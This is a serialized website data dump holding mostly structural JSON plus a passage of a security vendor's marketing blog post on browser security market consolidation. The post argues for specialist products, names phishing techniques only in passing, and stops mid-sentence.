"content":40327,"nodeType":883},{"uri":34821},[40328],{"data":40329,"marks":40330,"value":34826,"nodeType":864},{},[],{"data":40332,"marks":40333,"value":34830,"nodeType":864},{},[],{"data":40335,"content":40336,"nodeType":883},{"uri":34833},[40337],{"data":40338,"marks":40339,"value":34838,"nodeType":864},{},[],{"data":40341,"marks":40342,"value":34842,"nodeType":864},{},[],{"data":40344,"content":40347,"nodeType":996},{"target":40345},{"sys":40346},{"id":34847,"type":1001,"linkType":1002},[],{"data":40349,"content":40350,"nodeType":860},{},[40351,40355],{"data":40352,"marks":40353,"value":34856,"nodeType":864},{},[40354],{"type":899},{"data":40356,"marks":40357,"value":34860,"nodeType":864},{},[],{"data":40359,"content":40360,"nodeType":1005},{},[],{"data":40362,"content":40363,"nodeType":1009},{},[40364],{"data":40365,"marks":40366,"value":34871,"nodeType":864},{},[40367],{"type":899},{"data":40369,"content":40370,"nodeType":860},{},[40371,40374,40380,40383,40389,40392,40398,40401,40407],{"data":40372,"marks":40373,"value":34878,"nodeType":864},{},[],{"data":40375,"content":40376,"nodeType":883},{"uri":26962},[40377],{"data":40378,"marks":40379,"value":34885,"nodeType":864},{},[],{"data":40381,"marks":40382,"value":34889,"nodeType":864},{},[],{"data":40384,"content":40385,"nodeType":883},{"uri":34892},[40386],{"data":40387,"marks":40388,"value":34897,"nodeType":864},{},[],{"data":40390,"marks":40391,"value":34901,"nodeType":864},{},[],{"data":40393,"content":40394,"nodeType":883},{"uri":34778},[40395],{"data":40396,"marks":40397,"value":34908,"nodeType":864},{},[],{"data":40399,"marks":40400,"value":34912,"nodeType":864},{},[],{"data":40402,"content":40403,"nodeType":883},{"uri":15592},[40404],{"data":40405,"marks":40406,"value":34919,"nodeType":864},{},[],{"data":40408,"marks":40409,"value":2924,"nodeType":864},{},[],{"data":40411,"content":40412,"nodeType":860},{},[40413],{"data":40414,"marks":40415,"value":34929,"nodeType":864},{},[],{"data":40417,"content":40418,"nodeType":860},{},[40419,40422,40428,40431],{"data":40420,"marks":40421,"value":34936,"nodeType":864},{},[],{"data":40423,"content":40424,"nodeType":883},{"uri":15592},[40425],{"data":40426,"marks":40427,"value":34943,"nodeType":864},{},[],{"data":40429,"marks":40430,"value":34947,"nodeType":864},{},[],{"data":40432,"marks":40433,"value":34952,"nodeType":864},{},[40434],{"type":899},{"data":40436,"content":40439,"nodeType":996},{"target":40437},{"sys":40438},{"id":34957,"type":1001,"linkType":1002},[],{"data":40441,"content":40442,"nodeType":1005},{},[],{"data":40444,"content":40445,"nodeType":1009},{},[40446],{"data":40447,"marks":40448,"value":34969,"nodeType":864},{},[40449],{"type":899},{"data":40451,"content":40452,"nodeType":860},{},[40453,40456,40462,40465,40471],{"data":40454,"marks":40455,"value":2761,"nodeType":864},{},[],{"data":40457,"content":40458,"nodeType":883},{"uri":6259},[40459],{"data":40460,"marks":40461,"value":34982,"nodeType":864},{},[],{"data":40463,"marks":40464,"value":34986,"nodeType":864},{},[],{"data":40466,"content":40467,"nodeType":883},{"uri":34790},[40468],{"data":40469,"marks":40470,"value":34993,"nodeType":864},{},[],{"data":40472,"marks":40473,"value":34997,"nodeType":864},{},[],{"data":40475,"content":40476,"nodeType":860},{},[40477],{"data":40478,"marks":40479,"value":35004,"nodeType":864},{},[],{"data":40481,"content":40482,"nodeType":860},{},[40483],{"data":40484,"marks":40485,"value":35012,"nodeType":864},{},[40486],{"type":899},{"data":40488,"content":40491,"nodeType":996},{"target":40489},{"sys":40490},{"id":35017,"type":1001,"linkType":1002},[],{"data":40493,"content":40494,"nodeType":1005},{},[],{"data":40496,"content":40497,"nodeType":1009},{},[40498],{"data":40499,"marks":40500,"value":35029,"nodeType":864},{},[40501],{"type":899},{"data":40503,"content":40504,"nodeType":860},{},[40505],{"data":40506,"marks":40507,"value":35036,"nodeType":864},{},[],{"data":40509,"content":40510,"nodeType":860},{},[40511,40514,40520],{"data":40512,"marks":40513,"value":2761,"nodeType":864},{},[],{"data":40515,"content":40516,"nodeType":883},{"uri":35045},[40517],{"data":40518,"marks":40519,"value":35050,"nodeType":864},{},[],{"data":40521,"marks":40522,"value":35054,"nodeType":864},{},[],{"data":40524,"content":40525,"nodeType":860},{},[40526],{"data":40527,"marks":40528,"value":35061,"nodeType":864},{},[],{"data":40530,"content":40531,"nodeType":860},{},[40532,40535,40541,40544,40550,40553,40559],{"data":40533,"marks":40534,"value":35068,"nodeType":864},{},[],{"data":40536,"content":40537,"nodeType":883},{"uri":35071},[40538],{"data":40539,"marks":40540,"value":35076,"nodeType":864},{},[],{"data":40542,"marks":40543,"value":35080,"nodeType":864},{},[],{"data":40545,"content":40546,"nodeType":883},{"uri":35083},[40547],{"data":40548,"marks":40549,"value":35088,"nodeType":864},{},[],{"data":40551,"marks":40552,"value":35092,"nodeType":864},{},[],{"data":40554,"content":40555,"nodeType":883},{"uri":4103},[40556],{"data":40557,"marks":40558,"value":35099,"nodeType":864},{},[],{"data":40560,"marks":40561,"value":35103,"nodeType":864},{},[],{"data":40563,"content":40564,"nodeType":860},{},[40565],{"data":40566,"marks":40567,"value":35110,"nodeType":864},{},[],{"data":40569,"content":40570,"nodeType":1005},{},[],{"data":40572,"content":40573,"nodeType":1009},{},[40574],{"data":40575,"marks":40576,"value":35121,"nodeType":864},{},[40577],{"type":899},{"data":40579,"content":40580,"nodeType":860},{},[40581,40584,40590],{"data":40582,"marks":40583,"value":35128,"nodeType":864},{},[],{"data":40585,"content":40586,"nodeType":883},{"uri":35131},[40587],{"data":40588,"marks":40589,"value":35136,"nodeType":864},{},[],{"data":40591,"marks":40592,"value":35140,"nodeType":864},{},[],{"data":40594,"content":40595,"nodeType":860},{},[40596,40599,40605,40608,40614,40617,40623,40626,40632],{"data":40597,"marks":40598,"value":35147,"nodeType":864},{},[],{"data":40600,"content":40601,"nodeType":883},{"uri":35150},[40602],{"data":40603,"marks":40604,"value":35155,"nodeType":864},{},[],{"data":40606,"marks":40607,"value":35159,"nodeType":864},{},[],{"data":40609,"content":40610,"nodeType":883},{"uri":35162},[40611],{"data":40612,"marks":40613,"value":35167,"nodeType":864},{},[],{"data":40615,"marks":40616,"value":35171,"nodeType":864},{},[],{"data":40618,"content":40619,"nodeType":883},{"uri":35174},[40620],{"data":40621,"marks":40622,"value":35179,"nodeType":864},{},[],{"data":40624,"marks":40625,"value":35183,"nodeType":864},{},[],{"data":40627,"content":40628,"nodeType":883},{"uri":35186},[40629],{"data":40630,"marks":40631,"value":35191,"nodeType":864},{},[],{"data":40633,"marks":40634,"value":35195,"nodeType":864},{},[],{"data":40636,"content":40637,"nodeType":1005},{},[],{"data":40639,"content":40640,"nodeType":1009},{},[40641],{"data":40642,"marks":40643,"value":35206,"nodeType":864},{},[40644],{"type":899},{"data":40646,"content":40647,"nodeType":860},{},[40648,40651,40657],{"data":40649,"marks":40650,"value":35213,"nodeType":864},{},[],{"data":40652,"content":40653,"nodeType":883},{"uri":3259},[40654],{"data":40655,"marks":40656,"value":35220,"nodeType":864},{},[],{"data":40658,"marks":40659,"value":35224,"nodeType":864},{},[],{"data":40661,"content":40662,"nodeType":860},{},[40663,40666,40672],{"data":40664,"marks":40665,"value":35231,"nodeType":864},{},[],{"data":40667,"content":40668,"nodeType":883},{"uri":35234},[40669],{"data":40670,"marks":40671,"value":315,"nodeType":864},{},[],{"data":40673,"marks":40674,"value":35242,"nodeType":864},{},[],{"data":40676,"content":40677,"nodeType":1312},{},[40678],{"data":40679,"marks":40680,"value":13350,"nodeType":864},{},[40681],{"type":899},{"data":40683,"content":40684,"nodeType":860},{},[40685],{"data":40686,"marks":40687,"value":35256,"nodeType":864},{},[],{"data":40689,"content":40690,"nodeType":860},{},[40691,40695],{"data":40692,"marks":40693,"value":35264,"nodeType":864},{},[40694],{"type":899},{"data":40696,"marks":40697,"value":35268,"nodeType":864},{},[],{"data":40699,"content":40700,"nodeType":860},{},[40701,40705],{"data":40702,"marks":40703,"value":35276,"nodeType":864},{},[40704],{"type":899},{"data":40706,"marks":40707,"value":35280,"nodeType":864},{},[],{"data":40709,"content":40710,"nodeType":860},{},[40711,40715],{"data":40712,"marks":40713,"value":35288,"nodeType":864},{},[40714],{"type":899},{"data":40716,"marks":40717,"value":35292,"nodeType":864},{},[],{"data":40719,"content":40720,"nodeType":860},{},[40721,40725],{"data":40722,"marks":40723,"value":35300,"nodeType":864},{},[40724],{"type":899},{"data":40726,"marks":40727,"value":35304,"nodeType":864},{},[],{"data":40729,"content":40730,"nodeType":860},{},[40731,40734,40740],{"data":40732,"marks":40733,"value":21,"nodeType":864},{},[],{"data":40735,"content":40736,"nodeType":883},{"uri":8621},[40737],{"data":40738,"marks":40739,"value":35317,"nodeType":864},{},[],{"data":40741,"marks":40742,"value":21,"nodeType":864},{},[],{"data":40744,"content":40745,"nodeType":1312},{},[40746],{"data":40747,"marks":40748,"value":35328,"nodeType":864},{},[40749],{"type":899},{"data":40751,"content":40752,"nodeType":860},{},[40753],{"data":40754,"marks":40755,"value":35335,"nodeType":864},{},[],{"data":40757,"content":40758,"nodeType":1005},{},[],{"data":40760,"content":40761,"nodeType":860},{},[40762],{"data":40763,"marks":40764,"value":4855,"nodeType":864},{},[],{"data":40766,"content":40767,"nodeType":860},{},[40768],{"data":40769,"marks":40770,"value":1689,"nodeType":864},{},[],{"data":40772,"content":40773,"nodeType":860},{},[40774,40777,40783],{"data":40775,"marks":40776,"value":21,"nodeType":864},{},[],{"data":40778,"content":40779,"nodeType":883},{"uri":5642},[40780],{"data":40781,"marks":40782,"value":1703,"nodeType":864},{},[],{"data":40784,"marks":40785,"value":21,"nodeType":864},{},[],{"data":40787,"content":40788,"nodeType":1005},{},[],{"data":40790,"content":40791,"nodeType":1009},{},[40792],{"data":40793,"marks":40794,"value":35376,"nodeType":864},{},[40795],{"type":899},{"data":40797,"content":40798,"nodeType":860},{},[40799,40802,40808],{"data":40800,"marks":40801,"value":35383,"nodeType":864},{},[],{"data":40803,"content":40804,"nodeType":883},{"uri":6237},[40805],{"data":40806,"marks":40807,"value":35390,"nodeType":864},{},[],{"data":40809,"marks":40810,"value":35394,"nodeType":864},{},[],{"data":40812,"content":40813,"nodeType":4845},{},[40814,40857,40913,40956,40999],{"data":40815,"content":40816,"nodeType":4581},{},[40817,40827,40837,40847],{"data":40818,"content":40819,"nodeType":4569},{},[40820],{"data":40821,"content":40822,"nodeType":860},{},[40823],{"data":40824,"marks":40825,"value":35411,"nodeType":864},{},[40826],{"type":899},{"data":40828,"content":40829,"nodeType":4569},{},[40830],{"data":40831,"content":40832,"nodeType":860},{},[40833],{"data":40834,"marks":40835,"value":35422,"nodeType":864},{},[40836],{"type":899},{"data":40838,"content":40839,"nodeType":4569},{},[40840],{"data":40841,"content":40842,"nodeType":860},{},[40843],{"data":40844,"marks":40845,"value":35433,"nodeType":864},{},[40846],{"type":899},{"data":40848,"content":40849,"nodeType":4569},{},[40850],{"data":40851,"content":40852,"nodeType":860},{},[40853],{"data":40854,"marks":40855,"value":35444,"nodeType":864},{},[40856],{"type":899},{"data":40858,"content":40859,"nodeType":4581},{},[40860,40880,40889,40898],{"data":40861,"content":40862,"nodeType":4569},{},[40863],{"data":40864,"content":40865,"nodeType":860},{},[40866,40870,40873,40877],{"data":40867,"marks":40868,"value":35458,"nodeType":864},{},[40869],{"type":899},{"data":40871,"marks":40872,"value":35462,"nodeType":864},{},[],{"data":40874,"marks":40875,"value":35467,"nodeType":864},{},[40876],{"type":899},{"data":40878,"marks":40879,"value":35471,"nodeType":864},{},[],{"data":40881,"content":40882,"nodeType":4569},{},[40883],{"data":40884,"content":40885,"nodeType":860},{},[40886],{"data":40887,"marks":40888,"value":35481,"nodeType":864},{},[],{"data":40890,"content":40891,"nodeType":4569},{},[40892],{"data":40893,"content":40894,"nodeType":860},{},[40895],{"data":40896,"marks":40897,"value":35491,"nodeType":864},{},[],{"data":40899,"content":40900,"nodeType":4569},{},[40901,40907],{"data":40902,"content":40903,"nodeType":860},{},[40904],{"data":40905,"marks":40906,"value":35501,"nodeType":864},{},[],{"data":40908,"content":40909,"nodeType":860},{},[40910],{"data":40911,"marks":40912,"value":35508,"nodeType":864},{},[],{"data":40914,"content":40915,"nodeType":4581},{},[40916,40929,40938,40947],{"data":40917,"content":40918,"nodeType":4569},{},[40919],{"data":40920,"content":40921,"nodeType":860},{},[40922,40926],{"data":40923,"marks":40924,"value":35522,"nodeType":864},{},[40925],{"type":899},{"data":40927,"marks":40928,"value":35526,"nodeType":864},{},[],{"data":40930,"content":40931,"nodeType":4569},{},[40932],{"data":40933,"content":40934,"nodeType":860},{},[40935],{"data":40936,"marks":40937,"value":35536,"nodeType":864},{},[],{"data":40939,"content":40940,"nodeType":4569},{},[40941],{"data":40942,"content":40943,"nodeType":860},{},[40944],{"data":40945,"marks":40946,"value":35546,"nodeType":864},{},[],{"data":40948,"content":40949,"nodeType":4569},{},[40950],{"data":40951,"content":40952,"nodeType":860},{},[40953],{"data":40954,"marks":40955,"value":35556,"nodeType":864},{},[],{"data":40957,"content":40958,"nodeType":4581},{},[40959,40972,40981,40990],{"data":40960,"content":40961,"nodeType":4569},{},[40962],{"data":40963,"content":40964,"nodeType":860},{},[40965,40969],{"data":40966,"marks":40967,"value":35570,"nodeType":864},{},[40968],{"type":899},{"data":40970,"marks":40971,"value":35574,"nodeType":864},{},[],{"data":40973,"content":40974,"nodeType":4569},{},[40975],{"data":40976,"content":40977,"nodeType":860},{},[40978],{"data":40979,"marks":40980,"value":35584,"nodeType":864},{},[],{"data":40982,"content":40983,"nodeType":4569},{},[40984],{"data":40985,"content":40986,"nodeType":860},{},[40987],{"data":40988,"marks":40989,"value":35594,"nodeType":864},{},[],{"data":40991,"content":40992,"nodeType":4569},{},[40993],{"data":40994,"content":40995,"nodeType":860},{},[40996],{"data":40997,"marks":40998,"value":35604,"nodeType":864},{},[],{"data":41000,"content":41001,"nodeType":4581},{},[41002,41015,41024,41033],{"data":41003,"content":41004,"nodeType":4569},{},[41005],{"data":41006,"content":41007,"nodeType":860},{},[41008,41012],{"data":41009,"marks":41010,"value":35618,"nodeType":864},{},[41011],{"type":899},{"data":41013,"marks":41014,"value":35622,"nodeType":864},{},[],{"data":41016,"content":41017,"nodeType":4569},{},[41018],{"data":41019,"content":41020,"nodeType":860},{},[41021],{"data":41022,"marks":41023,"value":35481,"nodeType":864},{},[],{"data":41025,"content":41026,"nodeType":4569},{},[41027],{"data":41028,"content":41029,"nodeType":860},{},[41030],{"data":41031,"marks":41032,"value":35641,"nodeType":864},{},[],{"data":41034,"content":41035,"nodeType":4569},{},[41036],{"data":41037,"content":41038,"nodeType":860},{},[41039],{"data":41040,"marks":41041,"value":35651,"nodeType":864},{},[],{"data":41043,"content":41044,"nodeType":860},{},[41045],{"data":41046,"marks":41047,"value":21,"nodeType":864},{},[],{"items":41049},[41050,41052],{"sys":41051,"name":6593},{"id":6592},{"sys":41053,"name":342},{"id":6596},{"items":41055},[41056],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":41057},{"url":2740},"7-things-we-learned-from-john-hammond","blog/7-things-we-learned-from-john-hammond",{"json":41061},{"data":41062,"content":41063,"nodeType":856},{},[41064],{"data":41065,"content":41066,"nodeType":860},{},[41067],{"data":41068,"marks":41069,"value":41070,"nodeType":864},{},[],"Luke Jennings (Push VP of Research) and John Hammond (Senior Principal Security Researcher, Huntress) walked through the browser-based attack techniques defining the 2026 threat landscape.","Here are 7 things we learned from our conversation with John Hammond on the \"Why the browser is the new battleground\" webinar. ",{"id":41073,"publishedAt":41074},"6V12IJexyAkFFVIrbwlNPq","2026-08-12T12:00:57.289Z",{"items":41076},[41077,41079],{"sys":41078,"name":6593},{"id":6592},{"sys":41080,"name":297},{"id":2732},{"items":41082},[41083,41085,41087,41089,41091,41093,41095,41097,41099,41101,41103,41105,41107,41109,41111,41113,41115,41117,41119,41121,41123,41125],{"sys":41084,"name":279,"slug":280,"tier":31},{"id":276},{"sys":41086,"name":519,"slug":520,"tier":31},{"id":516},{"sys":41088,"name":413,"slug":414,"tier":31},{"id":410},{"sys":41090,"name":297,"slug":298,"tier":31},{"id":294},{"sys":41092,"name":342,"slug":343,"tier":31},{"id":339},{"sys":41094,"name":235,"slug":236,"tier":31},{"id":232},{"sys":41096,"name":261,"slug":262,"tier":45},{"id":258},{"sys":41098,"name":315,"slug":316,"tier":45},{"id":312},{"sys":41100,"name":360,"slug":361,"tier":45},{"id":357},{"sys":41102,"name":484,"slug":485,"tier":45},{"id":481},{"sys":41104,"name":475,"slug":476,"tier":45},{"id":472},{"sys":41106,"name":511,"slug":512,"tier":45},{"id":508},{"sys":41108,"name":324,"slug":325,"tier":45},{"id":321},{"sys":41110,"name":571,"slug":572,"tier":45},{"id":568},{"sys":41112,"name":466,"slug":467,"tier":45},{"id":463},{"sys":41114,"name":440,"slug":441,"tier":45},{"id":437},{"sys":41116,"name":607,"slug":608,"tier":45},{"id":604},{"sys":41118,"name":377,"slug":378,"tier":45},{"id":374},{"sys":41120,"name":431,"slug":432,"tier":45},{"id":428},{"sys":41122,"name":448,"slug":449,"tier":45},{"id":445},{"sys":41124,"name":493,"slug":494,"tier":45},{"id":490},{"sys":41126,"name":244,"slug":245,"tier":45},{"id":241},"q4U5IPhRMZseIs6ceVJ_ZzUpucxUy-2TaBbYB9CbBVE",{"id":41129,"title":41130,"authorsCollection":41131,"content":41137,"extension":228,"faqItemsCollection":41758,"faqTitle":59,"featured":6,"hashTags":59,"meta":41760,"metaTitle":41761,"ogImage":59,"postType":8776,"publishedDate":36784,"relatedBlogPostsCollection":41762,"slug":44347,"stem":44348,"subtitle":59,"summary":44349,"synopsis":44359,"sys":44360,"tagsCollection":44363,"topicsCollection":44369,"__hash__":44411},"blog/blog/the-case-for-best-of-breed-browser-security.json","Why \"good enough\" isn’t enough: the case for best-of-breed browser security",{"items":41132},[41133],{"fullName":4878,"firstName":4879,"jobTitle":851,"socialLinks":41134,"profilePicture":41136},[41135],"https://www.linkedin.com/in/alexhenshall/",{"url":4881},{"json":41138,"links":41702},{"data":41139,"content":41140,"nodeType":856},{},[41141,41148,41174,41181,41184,41192,41199,41206,41213,41221,41275,41282,41290,41297,41304,41312,41319,41326,41345,41376,41383,41386,41394,41402,41420,41428,41447,41455,41462,41470,41477,41485,41492,41495,41503,41510,41521,41539,41547,41554,41560,41568,41604,41610,41618,41635,41643,41661,41664,41672,41679,41686],{"data":41142,"content":41143,"nodeType":860},{},[41144],{"data":41145,"marks":41146,"value":41147,"nodeType":864},{},[],"Three browser security companies have been acquired by major security platforms in five months. CrowdStrike acquired Seraphic Security in January 2026. Zscaler absorbed SquareX in February. In May, Akamai announced the acquisition of LayerX. Add Palo Alto Networks' earlier acquisition of Talon, and the browser security market has consolidated faster than almost any adjacent security category before it.",{"data":41149,"content":41150,"nodeType":860},{},[41151,41155,41161,41164,41171],{"data":41152,"marks":41153,"value":41154,"nodeType":864},{},[],"These acquisitions recognize that the browser is now where employees work, where AI runs, and where the most damaging attacks on organizations originate. It’s telling that browser security already accounts for ",{"data":41156,"content":41157,"nodeType":883},{"uri":2561},[41158],{"data":41159,"marks":41160,"value":34366,"nodeType":864},{},[],{"data":41162,"marks":41163,"value":2232,"nodeType":864},{},[],{"data":41165,"content":41166,"nodeType":883},{"uri":2561},[41167],{"data":41168,"marks":41169,"value":41170,"nodeType":864},{},[],"85% of organizations expect to increase that spend over the next 12-24 months",{"data":41172,"marks":41173,"value":2924,"nodeType":864},{},[],{"data":41175,"content":41176,"nodeType":860},{},[41177],{"data":41178,"marks":41179,"value":41180,"nodeType":864},{},[],"But for security buyers, consolidation creates a risk as much as an opportunity. The question isn't whether your existing platform vendor now offers browser security — it's whether what they're offering can actually protect you as the threat landscape evolves.",{"data":41182,"content":41183,"nodeType":1005},{},[],{"data":41185,"content":41186,"nodeType":1009},{},[41187],{"data":41188,"marks":41189,"value":41191,"nodeType":864},{},[41190],{"type":899},"Why \"good enough\" isn't good enough in the browser",{"data":41193,"content":41194,"nodeType":860},{},[41195],{"data":41196,"marks":41197,"value":41198,"nodeType":864},{},[],"The consolidation pitch is tempting. If you're already a CrowdStrike, Zscaler, or Palo Alto customer, adding browser security through an existing relationship means fewer vendors, fewer contracts, and a coherent narrative about platform consolidation that plays well internally. ",{"data":41200,"content":41201,"nodeType":860},{},[41202],{"data":41203,"marks":41204,"value":41205,"nodeType":864},{},[],"Security teams make these kinds of tradeoffs all the time — accepting that your SASE vendor's threat intelligence feed may not match a dedicated provider, or that your EDR vendor's vulnerability management module may not match a dedicated scanner — are reasonable decisions where the operational benefit of consolidation outweighs the capability difference.",{"data":41207,"content":41208,"nodeType":860},{},[41209],{"data":41210,"marks":41211,"value":41212,"nodeType":864},{},[],"But browser security is a category where the stakes are too high to accept a \"good enough\" solution. The majority of all reported breaches now originate in the browser and attacker tradecraft in this space is advancing at an unprecedented rate thanks to AI. These risks warrant the strongest form of defense. Here are three reasons that “good enough” solutions don't give you that:",{"data":41214,"content":41215,"nodeType":1312},{},[41216],{"data":41217,"marks":41218,"value":41220,"nodeType":864},{},[41219],{"type":899},"1. Most platform browser solutions were built for the wrong problems",{"data":41222,"content":41223,"nodeType":860},{},[41224,41227,41236,41240,41248,41252,41260,41264,41271],{"data":41225,"marks":41226,"value":21,"nodeType":864},{},[],{"data":41228,"content":41230,"nodeType":883},{"uri":41229},"https://www.crowdstrike.com/en-us/resources/infographics/identity-security-risk-review/",[41231],{"data":41232,"marks":41233,"value":41235,"nodeType":864},{},[41234],{"type":1455},"CrowdStrike's own research",{"data":41237,"marks":41238,"value":41239,"nodeType":864},{},[]," puts identity involvement in 80% of all modern breaches. Identity weaknesses played a material role in ",{"data":41241,"content":41243,"nodeType":883},{"uri":41242},"https://www.paloaltonetworks.com/resources/research/unit-42-incident-response-report",[41244],{"data":41245,"marks":41246,"value":41247,"nodeType":864},{},[],"almost 90% of Unit 42 incident response investigations",{"data":41249,"marks":41250,"value":41251,"nodeType":864},{},[],". The breaches making headlines — 2024's ",{"data":41253,"content":41255,"nodeType":883},{"uri":41254},"https://pushsecurity.com/blog/snowflake-retro",[41256],{"data":41257,"marks":41258,"value":41259,"nodeType":864},{},[],"mass Snowflake account compromises",{"data":41261,"marks":41262,"value":41263,"nodeType":864},{},[],", 2025's wave of Salesforce-targeted attacks, and 2026's ",{"data":41265,"content":41266,"nodeType":883},{"uri":4082},[41267],{"data":41268,"marks":41269,"value":41270,"nodeType":864},{},[],"continued spree of data theft and extortion",{"data":41272,"marks":41273,"value":41274,"nodeType":864},{},[]," — all trace back to identity weaknesses exploited through the browser: credentials stuffed into login pages that lacked MFA, session tokens hijacked via AiTM phishing, OAuth consent abused to grant persistent access, and device code flows manipulated to bypass authentication entirely. ",{"data":41276,"content":41277,"nodeType":860},{},[41278],{"data":41279,"marks":41280,"value":41281,"nodeType":864},{},[],"Yet Seraphic was built for browser runtime exploit prevention, SquareX for file-based malware sandboxing, LayerX for access governance and AI usage policy. These are real use cases, but they're not the use cases behind headline breaches. If your browser security solution checks a box for \"phishing protection\" but can't detect the identity attack techniques that are actually being industrialized and deployed at scale, you have a gap — and the danger is that you don't know it's there.",{"data":41283,"content":41284,"nodeType":1312},{},[41285],{"data":41286,"marks":41287,"value":41289,"nodeType":864},{},[41288],{"type":899},"2. Even solutions claiming the right capabilities often deliver them superficially",{"data":41291,"content":41292,"nodeType":860},{},[41293],{"data":41294,"marks":41295,"value":41296,"nodeType":864},{},[],"Every browser security vendor claims phishing detection, ClickFix protection, and session security. What varies enormously is whether those capabilities work against real, live, never-before-seen attacker infrastructure — or only against known-bad indicators that attackers rotate in minutes. 95% of in-browser attacks detected by Push used bot protection to evade blocklists; 89% of phishing domains are active for fewer than two days. ",{"data":41298,"content":41299,"nodeType":860},{},[41300],{"data":41301,"marks":41302,"value":41303,"nodeType":864},{},[],"A solution that appears comprehensive in a demo or PoV may leave significant gaps when tested against adversaries who understand exactly how security tools work and actively engineer around them. ",{"data":41305,"content":41306,"nodeType":1312},{},[41307],{"data":41308,"marks":41309,"value":41311,"nodeType":864},{},[41310],{"type":899},"3. AI is only going to widen the gap between \"good enough\" and what you need",{"data":41313,"content":41314,"nodeType":860},{},[41315],{"data":41316,"marks":41317,"value":41318,"nodeType":864},{},[],"When a browser security product is acquired, engineering effort turns inwards towards integration with the parent platform, not advancing detection capability. ",{"data":41320,"content":41321,"nodeType":860},{},[41322],{"data":41323,"marks":41324,"value":41325,"nodeType":864},{},[],"That dynamic plays out differently for each acquisition, but in Seraphic's case it is expected to be particularly heightened. Seraphic works by injecting an agent into the browser's JavaScript runtime. This is the same approach antivirus vendors have used for years, with well-documented stability consequences. Stability is now a top priority for CrowdStrike, which means the Seraphic integration will proceed cautiously. For buyers, that translates directly into slower capability advancement, not faster.",{"data":41327,"content":41328,"nodeType":860},{},[41329,41333,41341],{"data":41330,"marks":41331,"value":41332,"nodeType":864},{},[],"But this is no time for engineering efforts to turn inward, as the threat landscape continues to evolve at an unprecedented rate. You only need to look at the rise of techniques like device code phishing, which have gone from ",{"data":41334,"content":41335,"nodeType":883},{"uri":3259},[41336],{"data":41337,"marks":41338,"value":41340,"nodeType":864},{},[41339],{"type":1455},"research curiosity to industrialized exploitation",{"data":41342,"marks":41343,"value":41344,"nodeType":864},{},[]," in a matter of months — in large part enabled by AI-powered tools and AI-assisted development. Similarly, AI has compressed the time to generate a convincing phishing campaign from hours to minutes. ",{"data":41346,"content":41347,"nodeType":860},{},[41348,41352,41359,41363,41372],{"data":41349,"marks":41350,"value":41351,"nodeType":864},{},[],"But it's not only external threats: ",{"data":41353,"content":41354,"nodeType":883},{"uri":2561},[41355],{"data":41356,"marks":41357,"value":41358,"nodeType":864},{},[],"92% of organizations allow employees to use public GenAI applications",{"data":41360,"marks":41361,"value":41362,"nodeType":864},{},[]," — every one of them with unsanctioned AI use occurring by design — employees are routinely entering sensitive data into unapproved AI tools, and ",{"data":41364,"content":41366,"nodeType":883},{"uri":41365},"https://www.gartner.com/en/newsroom/press-releases/2025-08-26-gartner-predicts-40-percent-of-enterprise-apps-will-feature-task-specific-ai-agents-by-2026-up-from-less-than-5-percent-in-2025",[41367],{"data":41368,"marks":41369,"value":41371,"nodeType":864},{},[41370],{"type":1455},"Gartner predicts",{"data":41373,"marks":41374,"value":41375,"nodeType":864},{},[]," 40% of enterprise applications will feature AI agents by end of 2026, up from under 5% in 2025. ",{"data":41377,"content":41378,"nodeType":860},{},[41379],{"data":41380,"marks":41381,"value":41382,"nodeType":864},{},[],"The gap between an acquired product focused on integration and vendors whose single-minded focus is on stopping these emerging threats will continue to widen over time.",{"data":41384,"content":41385,"nodeType":1005},{},[],{"data":41387,"content":41388,"nodeType":1009},{},[41389],{"data":41390,"marks":41391,"value":41393,"nodeType":864},{},[41392],{"type":899},"How to identify a genuinely best-of-breed solution",{"data":41395,"content":41396,"nodeType":1312},{},[41397],{"data":41398,"marks":41399,"value":41401,"nodeType":864},{},[41400],{"type":899},"Start from your own requirements",{"data":41403,"content":41404,"nodeType":860},{},[41405,41409,41416],{"data":41406,"marks":41407,"value":41408,"nodeType":864},{},[],"Define the outcomes you need before speaking to any vendor. The ",{"data":41410,"content":41411,"nodeType":883},{"uri":33700},[41412],{"data":41413,"marks":41414,"value":41415,"nodeType":864},{},[],"highest-value browser security use cases",{"data":41417,"marks":41418,"value":41419,"nodeType":864},{},[]," are account takeover prevention, advanced phishing detection, identity posture hardening, browser extension security, and shadow SaaS and OAuth governance.",{"data":41421,"content":41422,"nodeType":1312},{},[41423],{"data":41424,"marks":41425,"value":41427,"nodeType":864},{},[41426],{"type":899},"Understand how it detects, not just what it claims",{"data":41429,"content":41430,"nodeType":860},{},[41431,41435,41443],{"data":41432,"marks":41433,"value":41434,"nodeType":864},{},[],"Most solutions rely on IoCs — matching known-bad domains, URLs, and IPs against feeds that attackers rotate in minutes.  There’s a major shortcoming with this approach, though: attackers rotate infrastructure faster than any blocklist updates and use bot protection to stay off threat intelligence feeds, making every attack feel ",{"data":41436,"content":41437,"nodeType":883},{"uri":7494},[41438],{"data":41439,"marks":41440,"value":41442,"nodeType":864},{},[41441],{"type":1455},"like a zero-day",{"data":41444,"marks":41445,"value":41446,"nodeType":864},{},[],". The only approach that reliably works is TTP-based behavioral detection. Ask every vendor: are you detecting a known-bad indicator or a behavioral technique?",{"data":41448,"content":41449,"nodeType":1312},{},[41450],{"data":41451,"marks":41452,"value":41454,"nodeType":864},{},[41453],{"type":899},"Test against real attacker behavior",{"data":41456,"content":41457,"nodeType":860},{},[41458],{"data":41459,"marks":41460,"value":41461,"nodeType":864},{},[],"Don't evaluate phishing detection with old phishing URLs. By the time you’re running these tests their IoCs will already be on block-lists (see point above). Instead, deploy realistic testing scenarios and look for demonstrable evidence of stopping real-world phishing kits — Evilginx, Tycoon2FA, Sneaky2FA, and so on. ",{"data":41463,"content":41464,"nodeType":1312},{},[41465],{"data":41466,"marks":41467,"value":41469,"nodeType":864},{},[41468],{"type":899},"Assess innovation velocity",{"data":41471,"content":41472,"nodeType":860},{},[41473],{"data":41474,"marks":41475,"value":41476,"nodeType":864},{},[],"Ask every vendor about their research output and feature release history over the past six months — are they discovering and publishing novel attack techniques, or covering what others already documented? Are new detections shipping continuously, or in quarterly cycles? For acquired products specifically, also ask how the roadmap has changed since acquisition. ",{"data":41478,"content":41479,"nodeType":1312},{},[41480],{"data":41481,"marks":41482,"value":41484,"nodeType":864},{},[41483],{"type":899},"Consider operationalization, vendor focus, and lock-in",{"data":41486,"content":41487,"nodeType":860},{},[41488],{"data":41489,"marks":41490,"value":41491,"nodeType":864},{},[],"Many solutions demo well but create significant overhead at scale. Consider whether you want another agent on endpoints, and whether you have the resources to tune granular policies without drowning in false 